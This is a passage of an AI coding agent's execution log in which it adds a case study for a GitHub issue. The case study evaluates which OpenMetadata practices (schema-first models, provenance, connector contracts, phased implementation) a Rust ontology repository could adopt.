1.\\n+\\n+1. Model source URI/document, agent, time, review state, license note, and\\n+   content fingerprint.\\n+2. Test create/update/unchanged/deprecate decisions before implementation.\\n+3. Add dry-run diff and newline-delimited JSON change export.\\n+4. Ensure identical imports are idempotent and deterministic.\\n+\\n+Acceptance: importing the same fixture twice produces zero updates on the\\n+second run; every changed assertion points to source evidence.\\n+\\n+### Phase 3: one connector contract\\n+\\n+Dependencies: Phases 1-2.\\n+\\n+1. Define typed source configuration, capability declaration, checkpoint, raw\\n+   record, normalized candidate, and structured error contracts.\\n+2. Build one fixture-backed connector end to end.\\n+3. Test partial failures, secret redaction, retry classification, dry run, and\\n+   resume behavior.\\n+4. Document how a second connector would be added without core-model changes.\\n+\\n+Acceptance: two unchanged runs are idempotent; invalid records are quarantined\\n+with evidence; no source-specific field enters the core model without a general\\n+domain reason.\\n+\\n+### Phase 4: interchange\\n+\\n+Dependencies: Phase 1; provenance fields from Phase 2 recommended.\\n+\\n+1. Generate or maintain JSON Schema for the stable public model.\\n+2. Add JSON import/export round-trip fixtures.\\n+3. Map a deliberately small RDF/OWL/PROV-O subset and publish loss reports.\\n+4. Evaluate SHACL export for constraints; do not claim lossless round trips\\n+   until tests prove them.\\n+\\n+Acceptance: schema validation runs in CI; JSON round trips preserve IDs and\\n+relationships; semantic exports declare unsupported/lossy fields.\\n+\\n+### Phase 5: service API (existing roadmap M3)\\n+\\n+Dependencies: stable Phases 1-4 contracts.\\n+\\n+1. Specify OpenAPI and error/pagination/concurrency conventions first.\\n+2. Implement read-only resources in `axum` over the library.\\n+3. Add mutation/import endpoints only with authentication, authorization,\\n+   limits, audit changes, and threat tests.\\n+4. Add health/readiness, structured logs, metrics, backup, and migration docs.\\n+\\n+Acceptance: generated client contract tests pass; malformed/expensive requests\\n+are bounded; library, CLI, and API return semantically consistent entities.\\n+\\n+### Phase 6: search and UI (existing roadmap M4)\\n+\\n+Dependencies: representative corpus and measured UX needs.\\n+\\n+1. Specify query semantics and benchmark linear search.\\n+2. Add a `SearchIndex` abstraction only if needed.\\n+3. Evaluate Tantivy if the baseline misses the target.\\n+4. Build UI against the public API/model, including provenance and validation\\n+   state rather than hiding them.\\n+\\n+Acceptance: a recorded benchmark justifies any new index; search relevance has\\n+golden queries; the UI has browser tests and accessibility checks.\\n+\\n+### Phase 7: governance enforcement and operations\\n+\\n+Dependencies: mutating service and real multi-user requirements.\\n+\\n+1. Turn owner, lifecycle, classification, and policy references into evaluated\\n+   actor/resource/operation rules.\\n+2. Add audit retention and policy decision tests.\\n+3. Add connector scheduling only when recurring jobs require it.\\n+4. Document upgrades, restore drills, incident response, and supported versions.\\n+\\n+Acceptance: deny/allow tests cover every mutation class; restore drills recover\\n+data and history; operational objectives are explicit.\\n+\\n+## Cross-cutting test strategy\\n+\\n+- Unit tests: IDs, normalization, fingerprints, rules, diagnostic codes.\\n+- Property tests: parser/serializer round trips and arbitrary graph safety.\\n+- Golden fixtures: version migrations, import reports, API schemas.\\n+- Integration tests: source-to-normalized-to-validated-to-change pipeline.\\n+- Compatibility tests: old lino data and public CLI behavior.\\n+- Security tests: payload limits, traversal bounds, secret redaction, policy.\\n+- Benchmarks: loader, validation, traversal, and search before optimization.\\n+- WASM tests: dependencies and public types compile for the M4 target.\\n+\\n+## Final recommendation\\n+\\n+Approve Phases 1 and 2 as the first product follow-up. They create the stable\\n+identity, validation, and evidence foundation required by every later practice.\\n+Do not begin with connectors, HTTP, search, or deployment infrastructure: doing\\n+so would freeze weak contracts behind expensive boundaries.\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/issue-5.json\\n+{\\n+  \\\"observed_at\\\": \\\"2026-07-12\\\",\\n+  \\\"url\\\": \\\"https://github.com/link-foundation/meta-ontology/issues/5\\\",\\n+  \\\"number\\\": 5,\\n+  \\\"state\\\": \\\"OPEN\\\",\\n+  \\\"title\\\": \\\"We should use best practices from https://github.com/open-metadata/OpenMetadata\\\",\\n+  \\\"labels\\\": [\\\"documentation\\\", \\\"enhancement\\\"],\\n+  \\\"comment_count\\\": 0,\\n+  \\\"requirements_from_body\\\": [\\n+    \\\"Collect issue-related data under docs/case-studies/issue-{id}.\\\",\\n+    \\\"Perform deep case study analysis and search online for additional facts and data.\\\",\\n+    \\\"List every requirement from the issue.\\\",\\n+    \\\"Propose solutions and solution plans for every requirement.\\\",\\n+    \\\"Check existing components and libraries that solve similar problems or can help.\\\",\\n+    \\\"Plan and execute the complete deliverable in one pull request.\\\"\\n+  ]\\n+}\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/research-observations.json\\n+{\\n+  \\\"observed_at\\\": \\\"2026-07-12\\\",\\n+  \\\"meta_ontology\\\": {\\n+    \\\"repository\\\": \\\"link-foundation/meta-ontology\\\",\\n+    \\\"default_branch\\\": \\\"main\\\",\\n+    \\\"default_branch_commit\\\": \\\"04e732e\\\",\\n+    \\\"prepared_branch\\\": \\\"issue-5-e2602184e2c5\\\",\\n+    \\\"pull_request\\\": 6,\\n+    \\\"pull_request_state_at_collection\\\": \\\"OPEN_DRAFT\\\",\\n+    \\\"issue_comments\\\": 0,\\n+    \\\"pull_request_conversation_comments\\\": 0,\\n+    \\\"pull_request_inline_comments\\\": 0,\\n+    \\\"pull_request_reviews\\\": 0\\n+  },\\n+  \\\"openmetadata\\\": {\\n+    \\\"repository\\\": \\\"open-metadata/OpenMetadata\\\",\\n+    \\\"default_branch\\\": \\\"main\\\",\\n+    \\\"license_spdx\\\": \\\"Apache-2.0\\\",\\n+    \\\"latest_github_release\\\": \\\"1.13.1-release\\\",\\n+    \\\"latest_release_published_at\\\": \\\"2026-06-27T11:35:50Z\\\",\\n+    \\\"relevant_top_level_areas\\\": [\\n+      \\\"openmetadata-spec\\\",\\n+      \\\"openmetadata-service\\\",\\n+      \\\"ingestion\\\",\\n+      \\\"openmetadata-ui\\\",\\n+      \\\"openmetadata-clients\\\",\\n+      \\\"openmetadata-dist\\\",\\n+      \\\"docker\\\"\\n+    ]\\n+  },\\n+  \\\"notes\\\": [\\n+    \\\"Counts and latest-release facts are time-sensitive and must be rechecked before implementation.\\\",\\n+    \\\"No upstream source files are copied into this repository; primary links and derived observations are preserved instead.\\\"\\n+  ]\\n+}\\n*** Add File: /tmp/gh-issue-solver-1783828904396/changelog.d/20260712_openmetadata_case_study.md\\n+---\\n+bump: patch\\n+---\\n+\\n+### Added\\n+\\n+- Added an issue 5 case study that evaluates transferable OpenMetadata practices,\\n+  preserves research observations, inventories reusable standards and Rust\\n+  components, and provides a phased implementation plan.\\n*** End Patch\";\n[2026-07-12T04:06:06.657Z] [INFO] text(await tools.apply_patch(patch));\n[2026-07-12T04:06:06.657Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:06:06.657Z] [INFO] \n[2026-07-12T04:06:06.723Z] [INFO] 2026-07-12T04:06:06.675943Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5311fd2b9c8191bf56a99b3466603e\"\n[2026-07-12T04:06:06.723Z] [INFO] 2026-07-12T04:06:06.676049Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=50420 output_token_count=9523 cached_token_count=41728 reasoning_token_count=197 tool_token_count=59943 ttft_ms=938 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:06.676Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:06.723Z] [INFO] 2026-07-12T04:06:06.676095Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=50420 output_token_count=9523 cached_token_count=41728 reasoning_token_count=197 tool_token_count=59943 ttft_ms=938 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:06.676Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:06.723Z] [INFO] \n[2026-07-12T04:06:07.249Z] [INFO] 2026-07-12T04:06:07.248579Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=apply_patch call_id=exec-2a0e4d3e-8542-4565-ab65-587fc39f1403 decision=approved source=Config event.timestamp=2026-07-12T04:06:07.248Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:07.249Z] [INFO] \n[2026-07-12T04:06:07.253Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_28\",\"type\":\"file_change\",\"changes\":[{\"path\":\"/tmp/gh-issue-solver-1783828904396/.gitkeep\",\"kind\":\"delete\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/changelog.d/20260712_openmetadata_case_study.md\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/README.md\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/openmetadata-analysis.md\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/issue-5.json\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/research-observations.json\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/requirements-and-solutions.md\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/source-inventory.md\",\"kind\":\"add\"}],\"status\":\"in_progress\"}}\n[2026-07-12T04:06:07.253Z] [INFO] \n[2026-07-12T04:06:07.324Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_28\",\"type\":\"file_change\",\"changes\":[{\"path\":\"/tmp/gh-issue-solver-1783828904396/.gitkeep\",\"kind\":\"delete\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/changelog.d/20260712_openmetadata_case_study.md\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/README.md\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/openmetadata-analysis.md\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/issue-5.json\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/research-observations.json\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/requirements-and-solutions.md\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/source-inventory.md\",\"kind\":\"add\"}],\"status\":\"completed\"}}\n[2026-07-12T04:06:07.324Z] [INFO] \n[2026-07-12T04:06:07.390Z] [INFO] 2026-07-12T04:06:07.323393Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=apply_patch call_id=exec-2a0e4d3e-8542-4565-ab65-587fc39f1403 arguments=*** Begin Patch\n[2026-07-12T04:06:07.390Z] [INFO] *** Delete File: /tmp/gh-issue-solver-1783828904396/.gitkeep\n[2026-07-12T04:06:07.390Z] [INFO] *** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/README.md\n[2026-07-12T04:06:07.390Z] [INFO] +# Issue 5 Case Study: Applying OpenMetadata Practices\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Summary\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Issue: [link-foundation/meta-ontology#5](https://github.com/link-foundation/meta-ontology/issues/5)\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata is a mature metadata platform, while this repository is a small,\n[2026-07-12T04:06:07.390Z] [INFO] +Links Notation-based ontology. The useful lesson is therefore not to copy its\n[2026-07-12T04:06:07.390Z] [INFO] +Java/Python/TypeScript service stack. It is to adopt its boundaries: a canonical\n[2026-07-12T04:06:07.390Z] [INFO] +schema, stable entity identity, explicit relationships, versioned changes,\n[2026-07-12T04:06:07.390Z] [INFO] +connector isolation, API-first access, governance metadata, and automated\n[2026-07-12T04:06:07.390Z] [INFO] +quality checks.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +The recommended sequence is deliberately incremental. Strengthen the current\n[2026-07-12T04:06:07.390Z] [INFO] +in-process Rust model and lino data first; add interchange and ingestion\n[2026-07-12T04:06:07.390Z] [INFO] +contracts next; add persistence, search, HTTP, and a UI only when their roadmap\n[2026-07-12T04:06:07.390Z] [INFO] +milestones and measured usage justify the operational cost.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Research was performed on 2026-07-12. OpenMetadata is fast-moving, so facts\n[2026-07-12T04:06:07.390Z] [INFO] +that can change are pinned to the observation date and links to primary sources.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Collected Data\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- [`source-inventory.md`](source-inventory.md) records the issue, PR, repository,\n[2026-07-12T04:06:07.390Z] [INFO] +  release, documentation, and source-code evidence consulted.\n[2026-07-12T04:06:07.390Z] [INFO] +- [`openmetadata-analysis.md`](openmetadata-analysis.md) describes transferable\n[2026-07-12T04:06:07.390Z] [INFO] +  practices, mismatches, risks, and existing components that can help.\n[2026-07-12T04:06:07.390Z] [INFO] +- [`requirements-and-solutions.md`](requirements-and-solutions.md) enumerates\n[2026-07-12T04:06:07.390Z] [INFO] +  every explicit and implied requirement and gives a solution and staged plan.\n[2026-07-12T04:06:07.390Z] [INFO] +- [`raw-data/issue-5.json`](raw-data/issue-5.json) preserves the issue snapshot.\n[2026-07-12T04:06:07.390Z] [INFO] +- [`raw-data/research-observations.json`](raw-data/research-observations.json)\n[2026-07-12T04:06:07.390Z] [INFO] +  preserves time-sensitive repository and PR observations in a compact,\n[2026-07-12T04:06:07.390Z] [INFO] +  reviewable form.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +No issue comments, PR conversation comments, inline review comments, or PR\n[2026-07-12T04:06:07.390Z] [INFO] +reviews existed when collected.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Findings\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Practices to adopt now\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +1. **Schema-first domain model.** Validate every persisted concept, definition,\n[2026-07-12T04:06:07.390Z] [INFO] +   mapping, language exponent, and relationship against a versioned contract.\n[2026-07-12T04:06:07.390Z] [INFO] +2. **Stable identity separate from display names.** Renames must not break\n[2026-07-12T04:06:07.390Z] [INFO] +   mappings, definitions, lineage, or future external references.\n[2026-07-12T04:06:07.390Z] [INFO] +3. **Typed graph edges.** Replace implicit string conventions with a small,\n[2026-07-12T04:06:07.390Z] [INFO] +   documented relation vocabulary and validate edge endpoints.\n[2026-07-12T04:06:07.390Z] [INFO] +4. **Provenance and change history.** Record source, author/agent, timestamp,\n[2026-07-12T04:06:07.390Z] [INFO] +   schema version, and change reason. Emit a deterministic change record when\n[2026-07-12T04:06:07.390Z] [INFO] +   loading or updating data.\n[2026-07-12T04:06:07.390Z] [INFO] +5. **Layered validation.** Separate parse validity, schema validity, graph\n[2026-07-12T04:06:07.390Z] [INFO] +   integrity, semantic quality, and repository word coverage so failures are\n[2026-07-12T04:06:07.390Z] [INFO] +   actionable.\n[2026-07-12T04:06:07.390Z] [INFO] +6. **Connector boundary.** Future importers should produce the same normalized\n[2026-07-12T04:06:07.390Z] [INFO] +   intermediate model; source-specific code must not leak into the core graph.\n[2026-07-12T04:06:07.390Z] [INFO] +7. **Contract-driven interfaces.** The library remains authoritative. CLI,\n[2026-07-12T04:06:07.390Z] [INFO] +   future HTTP, WASM, and importers consume the same service contracts.\n[2026-07-12T04:06:07.390Z] [INFO] +8. **Governance primitives.** Ownership, lifecycle state, classifications, and\n[2026-07-12T04:06:07.390Z] [INFO] +   policy references should be ordinary metadata, not UI-only annotations.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Practices to defer\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- A separate database and search index until the corpus or query latency needs it.\n[2026-07-12T04:06:07.390Z] [INFO] +- A workflow scheduler until multiple repeatable external ingestion jobs exist.\n[2026-07-12T04:06:07.390Z] [INFO] +- Microservices, event buses, and Kubernetes until deployment requirements demand\n[2026-07-12T04:06:07.390Z] [INFO] +  independent scaling or availability.\n[2026-07-12T04:06:07.390Z] [INFO] +- A broad connector catalog before one end-to-end connector contract is proven.\n[2026-07-12T04:06:07.390Z] [INFO] +- Enterprise RBAC before the HTTP service exists; design authorization fields now,\n[2026-07-12T04:06:07.390Z] [INFO] +  enforce them at the service boundary later.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Target Architecture\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +```text\n[2026-07-12T04:06:07.390Z] [INFO] +source files / future connectors\n[2026-07-12T04:06:07.390Z] [INFO] +              |\n[2026-07-12T04:06:07.390Z] [INFO] +              v\n[2026-07-12T04:06:07.390Z] [INFO] +      normalized import records\n[2026-07-12T04:06:07.390Z] [INFO] +              |\n[2026-07-12T04:06:07.390Z] [INFO] +              v\n[2026-07-12T04:06:07.390Z] [INFO] + parse -> schema -> graph -> semantic validation\n[2026-07-12T04:06:07.390Z] [INFO] +              |\n[2026-07-12T04:06:07.390Z] [INFO] +              v\n[2026-07-12T04:06:07.390Z] [INFO] +     versioned ontology service\n[2026-07-12T04:06:07.390Z] [INFO] +       /          |          \\\n[2026-07-12T04:06:07.390Z] [INFO] +     CLI       future API    WASM/UI\n[2026-07-12T04:06:07.390Z] [INFO] +                  |\n[2026-07-12T04:06:07.390Z] [INFO] +          optional persistence/search\n[2026-07-12T04:06:07.390Z] [INFO] +```\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +The pipeline is the important boundary. Each consumer sees one validated model;\n[2026-07-12T04:06:07.390Z] [INFO] +each importer produces one normalized representation.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Decision Matrix\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +| OpenMetadata practice | Fit | Decision |\n[2026-07-12T04:06:07.390Z] [INFO] +| --- | --- | --- |\n[2026-07-12T04:06:07.390Z] [INFO] +| Canonical schema and generated/typed models | High | Adopt incrementally |\n[2026-07-12T04:06:07.390Z] [INFO] +| Stable IDs, names, ownership, tags, versions | High | Add to domain model |\n[2026-07-12T04:06:07.390Z] [INFO] +| Typed relationships and lineage | High | Add a relation vocabulary |\n[2026-07-12T04:06:07.390Z] [INFO] +| Source-to-sink connector topology | High | Adapt as a small Rust trait pipeline |\n[2026-07-12T04:06:07.390Z] [INFO] +| REST resources and JSON Patch | Medium | Design contracts now; implement at M3 |\n[2026-07-12T04:06:07.390Z] [INFO] +| Change events and webhooks | Medium | Start with deterministic local events |\n[2026-07-12T04:06:07.390Z] [INFO] +| Data quality tests and observability | Medium | Adapt to ontology integrity rules |\n[2026-07-12T04:06:07.390Z] [INFO] +| Search index | Low today | Keep an interface; defer infrastructure |\n[2026-07-12T04:06:07.390Z] [INFO] +| Airflow-style workflow scheduling | Low today | Defer |\n[2026-07-12T04:06:07.390Z] [INFO] +| Full production deployment stack | Low today | Do not copy |\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Completion Criteria\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +This case study satisfies issue 5 when it:\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- preserves issue- and PR-related observations under this directory;\n[2026-07-12T04:06:07.390Z] [INFO] +- uses current primary online sources and distinguishes observations from\n[2026-07-12T04:06:07.390Z] [INFO] +  recommendations;\n[2026-07-12T04:06:07.390Z] [INFO] +- enumerates all issue requirements;\n[2026-07-12T04:06:07.390Z] [INFO] +- evaluates OpenMetadata practices against this repository rather than merely\n[2026-07-12T04:06:07.390Z] [INFO] +  summarizing OpenMetadata;\n[2026-07-12T04:06:07.390Z] [INFO] +- identifies reusable standards, crates, and libraries;\n[2026-07-12T04:06:07.390Z] [INFO] +- supplies a prioritized, testable implementation plan for every requirement.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +The analysis and plan meet those criteria. Product changes are intentionally\n[2026-07-12T04:06:07.390Z] [INFO] +proposed as future slices rather than bundled into this research PR.\n[2026-07-12T04:06:07.390Z] [INFO] *** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:06:07.390Z] [INFO] +# Source Inventory and Research Method\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Method\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +The investigation used the GitHub API/CLI for repository state and official\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata documentation and source repositories for technical claims.\n[2026-07-12T04:06:07.390Z] [INFO] +Marketing claims and time-sensitive counts are treated as observations, not as\n[2026-07-12T04:06:07.390Z] [INFO] +architecture requirements. Access date for every online source: 2026-07-12.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Local issue and pull request\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +| Evidence | Observation |\n[2026-07-12T04:06:07.390Z] [INFO] +| --- | --- |\n[2026-07-12T04:06:07.390Z] [INFO] +| [Issue 5](https://github.com/link-foundation/meta-ontology/issues/5) | Open; asks for data collection, deep online research, complete requirements, solution options, plans, and component/library evaluation in one PR |\n[2026-07-12T04:06:07.390Z] [INFO] +| [PR 6](https://github.com/link-foundation/meta-ontology/pull/6) | Draft placeholder on branch `issue-5-e2602184e2c5` at collection time |\n[2026-07-12T04:06:07.390Z] [INFO] +| Issue comments API | No comments |\n[2026-07-12T04:06:07.390Z] [INFO] +| PR review comments API | No inline comments |\n[2026-07-12T04:06:07.390Z] [INFO] +| PR conversation comments API | No comments |\n[2026-07-12T04:06:07.390Z] [INFO] +| PR reviews API | No reviews |\n[2026-07-12T04:06:07.390Z] [INFO] +| [Issue 1 case study](../issue-1/README.md) | Establishes this repository's requirements/research/plan precedent |\n[2026-07-12T04:06:07.390Z] [INFO] +| [Issue 3 case study](../issue-3/README.md) | Establishes the collected-evidence and explicit-root-cause precedent |\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## OpenMetadata repository snapshot\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +The [OpenMetadata repository](https://github.com/open-metadata/OpenMetadata)\n[2026-07-12T04:06:07.390Z] [INFO] +reported Apache-2.0 licensing, `main` as its default branch, and a multi-language\n[2026-07-12T04:06:07.390Z] [INFO] +codebase. The latest GitHub release observed was\n[2026-07-12T04:06:07.390Z] [INFO] +[`1.13.1-release`](https://github.com/open-metadata/OpenMetadata/releases/tag/1.13.1-release),\n[2026-07-12T04:06:07.390Z] [INFO] +published 2026-06-27. Counts such as stars, forks, connectors, schemas, or open\n[2026-07-12T04:06:07.390Z] [INFO] +issues are intentionally not used to choose this repository's architecture.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Relevant upstream areas:\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- [`openmetadata-spec`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-spec):\n[2026-07-12T04:06:07.390Z] [INFO] +  canonical JSON Schemas and generated model inputs.\n[2026-07-12T04:06:07.390Z] [INFO] +- [`openmetadata-service`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-service):\n[2026-07-12T04:06:07.390Z] [INFO] +  server, repositories, APIs, authorization, and event handling.\n[2026-07-12T04:06:07.390Z] [INFO] +- [`ingestion`](https://github.com/open-metadata/OpenMetadata/tree/main/ingestion):\n[2026-07-12T04:06:07.390Z] [INFO] +  connector and workflow framework.\n[2026-07-12T04:06:07.390Z] [INFO] +- [`openmetadata-ui`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-ui):\n[2026-07-12T04:06:07.390Z] [INFO] +  web application kept separate from the metadata service.\n[2026-07-12T04:06:07.390Z] [INFO] +- [`openmetadata-clients`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-clients):\n[2026-07-12T04:06:07.390Z] [INFO] +  generated/client-facing access layers.\n[2026-07-12T04:06:07.390Z] [INFO] +- [Contribution guide](https://docs.open-metadata.org/v1.12.x/developers/contribute):\n[2026-07-12T04:06:07.390Z] [INFO] +  issue-based contribution and local build/test workflow.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Primary technical documentation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +| Topic | Source | Evidence used |\n[2026-07-12T04:06:07.390Z] [INFO] +| --- | --- | --- |\n[2026-07-12T04:06:07.390Z] [INFO] +| Metadata standard | [Metadata Standard](https://docs.open-metadata.org/v1.11.x/api-reference/main-concepts/metadata-standard) | Canonical, language-neutral schemas drive generated models and APIs |\n[2026-07-12T04:06:07.390Z] [INFO] +| REST conventions | [APIs](https://docs.open-metadata.org/v1.12.x/api-reference/main-concepts/metadata-standard/apis) | Schema-first resources, versioned `/api/v1` namespace, consistent collection/instance URIs |\n[2026-07-12T04:06:07.390Z] [INFO] +| Connector architecture | [Metadata ingestion deep dive](https://docs.open-metadata.org/v1.12.x/developers/contribute/codebase-deep-dives/metadata-ingestion) | Source-to-sink pipeline, topology, result/error handling, fingerprint-based incremental ingestion |\n[2026-07-12T04:06:07.390Z] [INFO] +| Ingestion capabilities | [Ingestion overview](https://docs.open-metadata.org/v1.12.x/connectors/ingestion) | Metadata, usage, lineage, profiling, quality, and versioning are distinct workflows |\n[2026-07-12T04:06:07.390Z] [INFO] +| Lineage | [Lineage deep dive](https://docs.open-metadata.org/v1.12.x/developers/contribute/codebase-deep-dives/lineage-ingestion) | Relationships are extracted, resolved, and published as graph data |\n[2026-07-12T04:06:07.390Z] [INFO] +| Connector schemas | [Define the JSON Schema](https://docs.open-metadata.org/latest/developers/contribute/developing-a-new-connector/define-json-schema) | One connection schema generates consistent Java, Python, and TypeScript types |\n[2026-07-12T04:06:07.390Z] [INFO] +| Governance | [Data Governance](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance) | Glossaries, classifications, ownership, and policies are first-class concepts |\n[2026-07-12T04:06:07.390Z] [INFO] +| Glossary semantics | [Glossary Term](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance/glossary/glossary-term) | Definitions, synonyms, related terms, tags, and references form a semantic graph |\n[2026-07-12T04:06:07.390Z] [INFO] +| Domains | [Domains and Data Products](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance/domains-%26-data-products) | Domain ownership and discoverable, documented products support decentralized stewardship |\n[2026-07-12T04:06:07.390Z] [INFO] +| Authorization | [Roles and Policies](https://docs.open-metadata.org/v1.12.x/how-to-guides/admin-guide/roles-policies) | Authorization evaluates actor, resource attributes, and operation |\n[2026-07-12T04:06:07.390Z] [INFO] +| Quality model | [Data Quality API](https://docs.open-metadata.org/v1.12.x/api-reference/data-quality) | Reusable definitions, applied cases, suites, and results separate rule from execution |\n[2026-07-12T04:06:07.390Z] [INFO] +| Observability | [Quality and Observability](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-quality-observability) | Tests, profiling, alerts, and incident handling form a feedback loop |\n[2026-07-12T04:06:07.390Z] [INFO] +| Deployment/security | [Deployment](https://docs.open-metadata.org/v1.12.x/deployment) and [Security](https://docs.open-metadata.org/v1.12.x/deployment/security) | Production operations and identity-provider integration are explicit concerns |\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## External standards and candidate components\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +These are evaluated as interoperability options, not mandatory dependencies.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +| Need | Candidate | Intended use |\n[2026-07-12T04:06:07.390Z] [INFO] +| 